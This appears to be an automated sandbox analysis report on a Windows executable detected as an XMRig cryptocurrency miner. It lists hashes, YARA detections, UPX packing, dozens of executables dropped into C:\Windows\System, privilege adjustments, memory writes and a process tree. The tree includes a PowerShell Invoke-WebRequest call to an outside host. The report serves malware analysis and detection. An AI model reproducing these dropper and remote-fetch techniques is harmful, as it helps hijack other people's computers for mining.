xmrig | 8c515eebaba538704f9c6d2c9f9d62ab15fa5e914ebc38417e33ba618f74bf8c

Analysis

max time kernel
150s
max time network
145s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
12/07/2024, 21:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

001da53b08da0e0c4e138aadea35a390N.exe
Size

2.0MB
MD5

001da53b08da0e0c4e138aadea35a390
SHA1

6f2e2a1063b54662078df8a79797e28cfb152106
SHA256

8c515eebaba538704f9c6d2c9f9d62ab15fa5e914ebc38417e33ba618f74bf8c
SHA512

cfd6dd5858dcc7a152ba9482039f4c2fbb38eb17c49450f33e1e8ed369fb3b25a146142b35e1ce43da4e95cc5c373d3db26ebffa61e9fe0fc5eadb03d64c32d8
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjFkTVnfuDPFFWqreoYtgW+hVkVoC2NCNM:Lz071uv4BPMkHC0IEFToF3aWlClq

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 22 IoCs

miner

resource	yara_rule
behavioral1/memory/2136-1-0x000000013FF80000-0x0000000140372000-memory.dmp	xmrig
behavioral1/memory/2688-17-0x000000013F770000-0x000000013FB62000-memory.dmp	xmrig
behavioral1/memory/2868-22-0x000000013FA10000-0x000000013FE02000-memory.dmp	xmrig
behavioral1/memory/1176-53-0x000000013F290000-0x000000013F682000-memory.dmp	xmrig
behavioral1/memory/2128-46-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/2576-85-0x000000013F410000-0x000000013F802000-memory.dmp	xmrig
behavioral1/memory/2684-308-0x000000013F900000-0x000000013FCF2000-memory.dmp	xmrig
behavioral1/memory/2136-79-0x0000000003510000-0x0000000003902000-memory.dmp	xmrig
behavioral1/memory/2136-67-0x000000013F210000-0x000000013F602000-memory.dmp	xmrig
behavioral1/memory/2136-66-0x000000013FF80000-0x0000000140372000-memory.dmp	xmrig
behavioral1/memory/2724-21-0x000000013F490000-0x000000013F882000-memory.dmp	xmrig
behavioral1/memory/2868-5599-0x000000013FA10000-0x000000013FE02000-memory.dmp	xmrig
behavioral1/memory/2688-5598-0x000000013F770000-0x000000013FB62000-memory.dmp	xmrig
behavioral1/memory/2724-5597-0x000000013F490000-0x000000013F882000-memory.dmp	xmrig
behavioral1/memory/1176-5665-0x000000013F290000-0x000000013F682000-memory.dmp	xmrig
behavioral1/memory/2684-5663-0x000000013F900000-0x000000013FCF2000-memory.dmp	xmrig
behavioral1/memory/2128-5668-0x000000013F400000-0x000000013F7F2000-memory.dmp	xmrig
behavioral1/memory/2576-5959-0x000000013F410000-0x000000013F802000-memory.dmp	xmrig
behavioral1/memory/1940-6010-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2220-6481-0x000000013F210000-0x000000013F602000-memory.dmp	xmrig
behavioral1/memory/2864-6482-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	xmrig
behavioral1/memory/576-7075-0x000000013FDE0000-0x00000001401D2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2688	YSSNxQX.exe
2724	EUYFGSu.exe
2868	fZDvnkx.exe
2576	aHkQCWD.exe
2684	bLWdULd.exe
2128	NDnHyxR.exe
1176	dFWYagU.exe
2864	YYZtgEi.exe
2220	hAjGAyP.exe
576	PmniJZD.exe
1940	twsWCpA.exe
2040	oneNoXu.exe
1552	mgAWWDB.exe
1632	kKutUpl.exe
2356	BhwDnwY.exe
1368	YYJGIfh.exe
1872	AtvKwnz.exe
2388	sGxuRxV.exe
2900	INByKOP.exe
2264	ACOuLCq.exe
2296	AnklflD.exe
3064	jMhQezP.exe
1036	tkRPZqB.exe
912	iTjyPTZ.exe
2324	OkRDQsD.exe
408	cdzHKUl.exe
2660	aDEJLQS.exe
804	fZaWRGj.exe
2528	nhpNPxI.exe
1532	uaSGkqM.exe
2516	JoSxmzC.exe
2004	wapsFvd.exe
328	MWubnYQ.exe
1944	GkqMLNu.exe
1948	TgTlrpy.exe
1252	WQNnqIk.exe
1592	zbXQERc.exe
236	sHTzDPk.exe
2068	qRucgIG.exe
2204	wxfUyHA.exe
2432	UnIfVST.exe
1104	RzYBkQh.exe
2160	MGIJHxt.exe
2140	tWNObhr.exe
2292	wAPepmm.exe
2352	WWKasGm.exe
1484	EEgscWz.exe
2928	HCzXobA.exe
1860	lrebYIy.exe
1856	McVLBVG.exe
1836	zOACqWf.exe
3004	xiztuvv.exe
1428	PemDVKH.exe
3052	juEjAzb.exe
2428	jzqFyTa.exe
2304	npbmfgd.exe
2712	xIrFvbz.exe
1520	mbJkbdf.exe
1636	FXdyxLH.exe
2888	juqrsqp.exe
2860	HcqbmCa.exe
2564	RfqJvuH.exe
2596	sFZVRDL.exe
2996	pfdznPd.exe

Loads dropped DLL 64 IoCs

pid	Process
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe
2136	001da53b08da0e0c4e138aadea35a390N.exe

UPX packed file 59 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2136-1-0x000000013FF80000-0x0000000140372000-memory.dmp	upx
behavioral1/files/0x000a0000000120fa-3.dat	upx
behavioral1/files/0x0007000000016ea0-12.dat	upx
behavioral1/files/0x0008000000016dc7-8.dat	upx
behavioral1/memory/2688-17-0x000000013F770000-0x000000013FB62000-memory.dmp	upx
behavioral1/memory/2868-22-0x000000013FA10000-0x000000013FE02000-memory.dmp	upx
behavioral1/files/0x0007000000004e74-36.dat	upx
behavioral1/memory/2684-39-0x000000013F900000-0x000000013FCF2000-memory.dmp	upx
behavioral1/files/0x000a0000000173e1-40.dat	upx
behavioral1/memory/1176-53-0x000000013F290000-0x000000013F682000-memory.dmp	upx
behavioral1/memory/2128-46-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/files/0x000500000001945d-60.dat	upx
behavioral1/memory/2220-68-0x000000013F210000-0x000000013F602000-memory.dmp	upx
behavioral1/files/0x00050000000194bb-77.dat	upx
behavioral1/memory/1940-80-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2576-85-0x000000013F410000-0x000000013F802000-memory.dmp	upx
behavioral1/files/0x0005000000019622-98.dat	upx
behavioral1/files/0x000500000001a04b-158.dat	upx
behavioral1/memory/2684-308-0x000000013F900000-0x000000013FCF2000-memory.dmp	upx
behavioral1/files/0x000500000001a08c-166.dat	upx
behavioral1/files/0x000500000001a055-162.dat	upx
behavioral1/files/0x0005000000019f50-154.dat	upx
behavioral1/files/0x0005000000019f39-150.dat	upx
behavioral1/files/0x0005000000019d6d-146.dat	upx
behavioral1/files/0x0005000000019c9f-142.dat	upx
behavioral1/files/0x0005000000019c68-138.dat	upx
behavioral1/files/0x0005000000019c66-134.dat	upx
behavioral1/files/0x0005000000019c4d-130.dat	upx
behavioral1/files/0x0005000000019af1-126.dat	upx
behavioral1/files/0x0005000000019aef-122.dat	upx
behavioral1/files/0x0005000000019a54-118.dat	upx
behavioral1/files/0x000500000001979c-114.dat	upx
behavioral1/files/0x000500000001962d-110.dat	upx
behavioral1/files/0x000500000001962c-107.dat	upx
behavioral1/files/0x0005000000019624-102.dat	upx
behavioral1/files/0x000500000001951e-94.dat	upx
behavioral1/files/0x00050000000194f1-90.dat	upx
behavioral1/memory/2040-87-0x000000013F0B0000-0x000000013F4A2000-memory.dmp	upx
behavioral1/files/0x00050000000194d1-83.dat	upx
behavioral1/memory/576-74-0x000000013FDE0000-0x00000001401D2000-memory.dmp	upx
behavioral1/files/0x00050000000194a0-71.dat	upx
behavioral1/memory/2864-61-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/2136-66-0x000000013FF80000-0x0000000140372000-memory.dmp	upx
behavioral1/files/0x0005000000019460-64.dat	upx
behavioral1/files/0x00080000000173e4-49.dat	upx
behavioral1/memory/2576-32-0x000000013F410000-0x000000013F802000-memory.dmp	upx
behavioral1/files/0x0007000000016ebe-30.dat	upx
behavioral1/memory/2724-21-0x000000013F490000-0x000000013F882000-memory.dmp	upx
behavioral1/memory/2868-5599-0x000000013FA10000-0x000000013FE02000-memory.dmp	upx
behavioral1/memory/2688-5598-0x000000013F770000-0x000000013FB62000-memory.dmp	upx
behavioral1/memory/2724-5597-0x000000013F490000-0x000000013F882000-memory.dmp	upx
behavioral1/memory/1176-5665-0x000000013F290000-0x000000013F682000-memory.dmp	upx
behavioral1/memory/2684-5663-0x000000013F900000-0x000000013FCF2000-memory.dmp	upx
behavioral1/memory/2128-5668-0x000000013F400000-0x000000013F7F2000-memory.dmp	upx
behavioral1/memory/2576-5959-0x000000013F410000-0x000000013F802000-memory.dmp	upx
behavioral1/memory/1940-6010-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2220-6481-0x000000013F210000-0x000000013F602000-memory.dmp	upx
behavioral1/memory/2864-6482-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/576-7075-0x000000013FDE0000-0x00000001401D2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\VzMCoQC.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\KLIypuK.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\IvIKMYJ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\yHBRmaP.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\gJQDYhU.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\wpGHihI.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\rZArdqv.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\GviicVG.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\wGRpjqJ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\gagFIeA.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\ZJMUcEP.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\RAggrAZ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\tyVoBaA.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\suJqNrT.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\axqlfnl.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\WVKSjQo.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\HWgWgUm.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\dCUdEwI.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\ppYhHNU.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\BwRoSRK.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\gWxFxlb.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\sqTsazF.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\GyYMRTc.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\iMYwlGp.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\PPsfiuz.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\Hfsgllq.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\SRHlZDA.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\GckAJgb.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\uUKOuzu.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\HLiSiht.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\Xayzier.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\gSSjcKm.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\aNQyICh.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\izookqb.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\oIUbkBL.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\WWSymcU.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\HaVuKaY.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\avYtkyF.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\goYwKPz.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\jOptWte.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\pviYhhY.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\gLOGEEN.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\MFXGNpC.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\dfTsplZ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\yUxfrCu.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\iyhRlZG.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\fyPoJgQ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\GtPFaXi.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\FCPCreB.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\pqNohni.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\BxYhQil.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\eMIsruA.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\txUQueS.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\GCKPNDx.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\FXFvPkJ.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\suxCxez.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\VyQcuYq.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\XQFrEIO.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\hCDxlHe.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\PUnAfWu.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\EfQMbrU.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\haEsoJj.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\TUOpQLM.exe	001da53b08da0e0c4e138aadea35a390N.exe
File created	C:\Windows\System\cWhtsed.exe	001da53b08da0e0c4e138aadea35a390N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2892	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2136	001da53b08da0e0c4e138aadea35a390N.exe
Token: SeLockMemoryPrivilege	2136	001da53b08da0e0c4e138aadea35a390N.exe
Token: SeDebugPrivilege	2892	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2892	2136	001da53b08da0e0c4e138aadea35a390N.exe	32
PID 2136 wrote to memory of 2892	2136	001da53b08da0e0c4e138aadea35a390N.exe	32
PID 2136 wrote to memory of 2892	2136	001da53b08da0e0c4e138aadea35a390N.exe	32
PID 2136 wrote to memory of 2688	2136	001da53b08da0e0c4e138aadea35a390N.exe	33
PID 2136 wrote to memory of 2688	2136	001da53b08da0e0c4e138aadea35a390N.exe	33
PID 2136 wrote to memory of 2688	2136	001da53b08da0e0c4e138aadea35a390N.exe	33
PID 2136 wrote to memory of 2724	2136	001da53b08da0e0c4e138aadea35a390N.exe	34
PID 2136 wrote to memory of 2724	2136	001da53b08da0e0c4e138aadea35a390N.exe	34
PID 2136 wrote to memory of 2724	2136	001da53b08da0e0c4e138aadea35a390N.exe	34
PID 2136 wrote to memory of 2868	2136	001da53b08da0e0c4e138aadea35a390N.exe	35
PID 2136 wrote to memory of 2868	2136	001da53b08da0e0c4e138aadea35a390N.exe	35
PID 2136 wrote to memory of 2868	2136	001da53b08da0e0c4e138aadea35a390N.exe	35
PID 2136 wrote to memory of 2576	2136	001da53b08da0e0c4e138aadea35a390N.exe	36
PID 2136 wrote to memory of 2576	2136	001da53b08da0e0c4e138aadea35a390N.exe	36
PID 2136 wrote to memory of 2576	2136	001da53b08da0e0c4e138aadea35a390N.exe	36
PID 2136 wrote to memory of 2684	2136	001da53b08da0e0c4e138aadea35a390N.exe	37
PID 2136 wrote to memory of 2684	2136	001da53b08da0e0c4e138aadea35a390N.exe	37
PID 2136 wrote to memory of 2684	2136	001da53b08da0e0c4e138aadea35a390N.exe	37
PID 2136 wrote to memory of 2128	2136	001da53b08da0e0c4e138aadea35a390N.exe	38
PID 2136 wrote to memory of 2128	2136	001da53b08da0e0c4e138aadea35a390N.exe	38
PID 2136 wrote to memory of 2128	2136	001da53b08da0e0c4e138aadea35a390N.exe	38
PID 2136 wrote to memory of 1176	2136	001da53b08da0e0c4e138aadea35a390N.exe	39
PID 2136 wrote to memory of 1176	2136	001da53b08da0e0c4e138aadea35a390N.exe	39
PID 2136 wrote to memory of 1176	2136	001da53b08da0e0c4e138aadea35a390N.exe	39
PID 2136 wrote to memory of 2864	2136	001da53b08da0e0c4e138aadea35a390N.exe	40
PID 2136 wrote to memory of 2864	2136	001da53b08da0e0c4e138aadea35a390N.exe	40
PID 2136 wrote to memory of 2864	2136	001da53b08da0e0c4e138aadea35a390N.exe	40
PID 2136 wrote to memory of 2220	2136	001da53b08da0e0c4e138aadea35a390N.exe	41
PID 2136 wrote to memory of 2220	2136	001da53b08da0e0c4e138aadea35a390N.exe	41
PID 2136 wrote to memory of 2220	2136	001da53b08da0e0c4e138aadea35a390N.exe	41
PID 2136 wrote to memory of 576	2136	001da53b08da0e0c4e138aadea35a390N.exe	42
PID 2136 wrote to memory of 576	2136	001da53b08da0e0c4e138aadea35a390N.exe	42
PID 2136 wrote to memory of 576	2136	001da53b08da0e0c4e138aadea35a390N.exe	42
PID 2136 wrote to memory of 1940	2136	001da53b08da0e0c4e138aadea35a390N.exe	43
PID 2136 wrote to memory of 1940	2136	001da53b08da0e0c4e138aadea35a390N.exe	43
PID 2136 wrote to memory of 1940	2136	001da53b08da0e0c4e138aadea35a390N.exe	43
PID 2136 wrote to memory of 2040	2136	001da53b08da0e0c4e138aadea35a390N.exe	44
PID 2136 wrote to memory of 2040	2136	001da53b08da0e0c4e138aadea35a390N.exe	44
PID 2136 wrote to memory of 2040	2136	001da53b08da0e0c4e138aadea35a390N.exe	44
PID 2136 wrote to memory of 1552	2136	001da53b08da0e0c4e138aadea35a390N.exe	45
PID 2136 wrote to memory of 1552	2136	001da53b08da0e0c4e138aadea35a390N.exe	45
PID 2136 wrote to memory of 1552	2136	001da53b08da0e0c4e138aadea35a390N.exe	45
PID 2136 wrote to memory of 1632	2136	001da53b08da0e0c4e138aadea35a390N.exe	46
PID 2136 wrote to memory of 1632	2136	001da53b08da0e0c4e138aadea35a390N.exe	46
PID 2136 wrote to memory of 1632	2136	001da53b08da0e0c4e138aadea35a390N.exe	46
PID 2136 wrote to memory of 2356	2136	001da53b08da0e0c4e138aadea35a390N.exe	47
PID 2136 wrote to memory of 2356	2136	001da53b08da0e0c4e138aadea35a390N.exe	47
PID 2136 wrote to memory of 2356	2136	001da53b08da0e0c4e138aadea35a390N.exe	47
PID 2136 wrote to memory of 1368	2136	001da53b08da0e0c4e138aadea35a390N.exe	48
PID 2136 wrote to memory of 1368	2136	001da53b08da0e0c4e138aadea35a390N.exe	48
PID 2136 wrote to memory of 1368	2136	001da53b08da0e0c4e138aadea35a390N.exe	48
PID 2136 wrote to memory of 1872	2136	001da53b08da0e0c4e138aadea35a390N.exe	49
PID 2136 wrote to memory of 1872	2136	001da53b08da0e0c4e138aadea35a390N.exe	49
PID 2136 wrote to memory of 1872	2136	001da53b08da0e0c4e138aadea35a390N.exe	49
PID 2136 wrote to memory of 2388	2136	001da53b08da0e0c4e138aadea35a390N.exe	50
PID 2136 wrote to memory of 2388	2136	001da53b08da0e0c4e138aadea35a390N.exe	50
PID 2136 wrote to memory of 2388	2136	001da53b08da0e0c4e138aadea35a390N.exe	50
PID 2136 wrote to memory of 2900	2136	001da53b08da0e0c4e138aadea35a390N.exe	51
PID 2136 wrote to memory of 2900	2136	001da53b08da0e0c4e138aadea35a390N.exe	51
PID 2136 wrote to memory of 2900	2136	001da53b08da0e0c4e138aadea35a390N.exe	51
PID 2136 wrote to memory of 2264	2136	001da53b08da0e0c4e138aadea35a390N.exe	52
PID 2136 wrote to memory of 2264	2136	001da53b08da0e0c4e138aadea35a390N.exe	52
PID 2136 wrote to memory of 2264	2136	001da53b08da0e0c4e138aadea35a390N.exe	52
PID 2136 wrote to memory of 2296	2136	001da53b08da0e0c4e138aadea35a390N.exe	53

C:\Users\Admin\AppData\Local\Temp\001da53b08da0e0c4e138aadea35a390N.exe
"C:\Users\Admin\AppData\Local\Temp\001da53b08da0e0c4e138aadea35a390N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\System\YSSNxQX.exe
  C:\Windows\System\YSSNxQX.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\EUYFGSu.exe
  C:\Windows\System\EUYFGSu.exe
  2⤵
  - Executes dropped EXE
  PID:2724
- C:\Windows\System\fZDvnkx.exe
  C:\Windows\System\fZDvnkx.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- C:\Windows\System\aHkQCWD.exe
  C:\Windows\System\aHkQCWD.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\bLWdULd.exe
  C:\Windows\System\bLWdULd.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\NDnHyxR.exe
  C:\Windows\System\NDnHyxR.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\dFWYagU.exe
  C:\Windows\System\dFWYagU.exe
  2⤵
  - Executes dropped EXE
  PID:1176
- C:\Windows\System\YYZtgEi.exe
  C:\Windows\System\YYZtgEi.exe
  2⤵
  - Executes dropped EXE
  PID:2864
- C:\Windows\System\hAjGAyP.exe
  C:\Windows\System\hAjGAyP.exe
  2⤵
  - Executes dropped EXE
  PID:2220
- C:\Windows\System\PmniJZD.exe
  C:\Windows\System\PmniJZD.exe
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Windows\System\twsWCpA.exe
  C:\Windows\System\twsWCpA.exe
  2⤵
  - Executes dropped EXE
  PID:1940
- C:\Windows\System\oneNoXu.exe
  C:\Windows\System\oneNoXu.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\mgAWWDB.exe
  C:\Windows\System\mgAWWDB.exe
  2⤵
  - Executes dropped EXE
  PID:1552
- C:\Windows\System\kKutUpl.exe
  C:\Windows\System\kKutUpl.exe
  2⤵
  - Executes dropped EXE
  PID:1632
- C:\Windows\System\BhwDnwY.exe
  C:\Windows\System\BhwDnwY.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\YYJGIfh.exe
  C:\Windows\System\YYJGIfh.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\AtvKwnz.exe
  C:\Windows\System\AtvKwnz.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\sGxuRxV.exe
  C:\Windows\System\sGxuRxV.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\INByKOP.exe
  C:\Windows\System\INByKOP.exe
  2⤵
  - Executes dropped EXE
  PID:2900
- C:\Windows\System\ACOuLCq.exe
  C:\Windows\System\ACOuLCq.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\AnklflD.exe
  C:\Windows\System\AnklflD.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\jMhQezP.exe
  C:\Windows\System\jMhQezP.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\tkRPZqB.exe
  C:\Windows\System\tkRPZqB.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\iTjyPTZ.exe
  C:\Windows\System\iTjyPTZ.exe
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Windows\System\OkRDQsD.exe
  C:\Windows\System\OkRDQsD.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\cdzHKUl.exe
  C:\Windows\System\cdzHKUl.exe
  2⤵
  - Executes dropped EXE
  PID:408
- C:\Windows\System\aDEJLQS.exe
  C:\Windows\System\aDEJLQS.exe
  2⤵
  - Executes dropped EXE
  PID:2660
- C:\Windows\System\fZaWRGj.exe
  C:\Windows\System\fZaWRGj.exe
  2⤵
  - Executes dropped EXE
  PID:804
- C:\Windows\System\nhpNPxI.exe
  C:\Windows\System\nhpNPxI.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\uaSGkqM.exe
  C:\Windows\System\uaSGkqM.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\JoSxmzC.exe
  C:\Windows\System\JoSxmzC.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\wapsFvd.exe
  C:\Windows\System\wapsFvd.exe
  2⤵
  - Executes dropped EXE
